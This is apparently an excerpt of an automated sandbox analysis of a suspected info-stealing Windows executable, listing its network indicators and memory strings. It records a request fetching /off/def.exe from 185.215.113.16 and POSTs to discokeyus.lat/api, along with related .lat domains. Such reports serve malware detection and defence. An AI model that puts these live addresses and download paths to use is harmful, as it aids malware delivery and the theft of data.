Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat

Source: f48jWpQ2F8.exe, 00000000.00000003.1837845175.00000000059C9000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1838629288.00000000059C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: f48jWpQ2F8.exe, 00000000.00000003.1837845175.00000000059C9000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1838629288.00000000059C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/9
Source: f48jWpQ2F8.exe, 00000000.00000003.1837845175.00000000059C9000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1838629288.00000000059C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/K
Source: f48jWpQ2F8.exe, f48jWpQ2F8.exe, 00000000.00000003.1838717053.0000000001390000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1838759657.000000000132F000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1837598067.0000000001327000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000002.1921756919.0000000001390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1838717053.0000000001390000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000002.1921756919.0000000001390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe5
Source: f48jWpQ2F8.exe, 00000000.00000002.1918438042.0000000000CFB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_118.6.dr	String found in binary or memory: http://schema.org/Organization
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_118.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_118.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_118.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_118.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500
Source: f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500000.1&cta
Source: f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: f48jWpQ2F8.exe, f48jWpQ2F8.exe, 00000000.00000003.1837845175.00000000059C9000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1612819693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1513923317.00000000012F2000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1738055487.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1514472983.000000000132F000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1514316274.0000000001327000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1653622447.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1737766387.0000000001383000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1651190408.0000000001373000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1683624731.0000000001381000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1652894696.0000000001381000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1651004450.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1566686364.00000000059C8000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1612424762.0000000001370000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1612765503.0000000001373000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1836842414.0000000001382000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1652849281.0000000001373000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1564809075.00000000059C5000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1615463849.0000000001373000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1612489267.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: f48jWpQ2F8.exe, 00000000.00000003.1737859062.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/K
Source: f48jWpQ2F8.exe, f48jWpQ2F8.exe, 00000000.00000003.1737766387.0000000001392000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1653142478.000000000132F000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1514472983.000000000132F000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1514316274.0000000001327000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1653049966.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: f48jWpQ2F8.exe, 00000000.00000003.1737766387.0000000001392000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1838717053.0000000001390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api07
Source: f48jWpQ2F8.exe, 00000000.00000003.1514472983.000000000132F000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1514316274.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apis
Source: f48jWpQ2F8.exe, 00000000.00000003.1697114867.0000000001330000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/apiefender://%ProgramFiles%
Source: f48jWpQ2F8.exe, 00000000.00000003.1514151249.000000000130B000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1513923317.0000000001309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/apip
Source: f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_118.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_118.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_118.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_118.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_118.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_118.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_118.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_118.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_118.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_118.6.dr	String found in binary or memory: https://github.com/nschonni
Source: f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_118.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_103.6.dr	String found in binary or memory: https://schema.org
Source: f48jWpQ2F8.exe, 00000000.00000003.1615559661.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: f48jWpQ2F8.exe, 00000000.00000003.1615559661.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_103.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_f6f292994d7c60be109e4c185cbc03032d36d17160d4e639
Source: f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_125.6.dr, chromecache_103.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: f48jWpQ2F8.exe, 00000000.00000003.1615559661.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.8Z86fTxZfkM6
Source: f48jWpQ2F8.exe, 00000000.00000003.1615559661.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.UnUp0v0CLe9Y
Source: f48jWpQ2F8.exe, 00000000.00000003.1615559661.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: f48jWpQ2F8.exe, 00000000.00000003.1615559661.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: f48jWpQ2F8.exe, 00000000.00000003.1615559661.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.11:49716 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: f48jWpQ2F8.exe	Static PE information: section name:
Source: f48jWpQ2F8.exe	Static PE information: section name: .rsrc
Source: f48jWpQ2F8.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

Code function: 0_3_01305A1B

0_3_01305A1B

